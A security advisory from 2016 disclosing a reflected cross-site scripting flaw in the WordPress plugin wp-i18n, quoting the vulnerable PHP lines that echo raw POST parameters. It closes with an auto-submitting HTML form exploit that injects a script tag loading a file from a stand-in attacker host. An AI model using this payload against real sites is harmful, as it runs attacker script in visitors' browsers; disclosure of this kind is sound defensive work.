Advisory #: 1088
Title: Reflected XSS in wordpress plugin wp-i18n v2.0.4.2-alpha
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/wp-i18n
Downloads: 2732
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: wp-i18n
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./wp-i18n/menu/string-translation.php: 59: <input type="hidden" name="icl_st_po_language" value="<?php echo $_POST['icl_st_po_language'] ?>" /> 61: <input type="hidden" name="icl_st_domain_name" value="<?php echo $_POST['icl_st_i_context_new']?$_POST['icl_st_i_context_new']:$_POST['icl_st_i_context'] ?>" /> 101: <input type="hidden" name="strings" value="<?php echo $_POST['strings'] ?>" /> 102: <input type="hidden" name="languages" value="<?php echo $_POST['langs'] ?>" /> The variable icl_st_po_language appears to send unsanitized data back to the users browser via POST request.
CVE-ID: Not Released
File:./wp-i18n/menu/string-translation.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. XSS POST exploit modified from http://blog.portswigger.net/2007/03/exploiting-xss-in-post-requests.html
  3. <form name=TheForm action=http://[target]/wp-content/plugins/wp-i18n/menu/string-translation.php method=post> <input type=hidden name=icl_st_po_language value=&quot;&gt;&lt;script&#32;src=http://attacker/bad.js&gt;&lt;/script&gt;> </form> <script> document.TheForm.submit(); </script>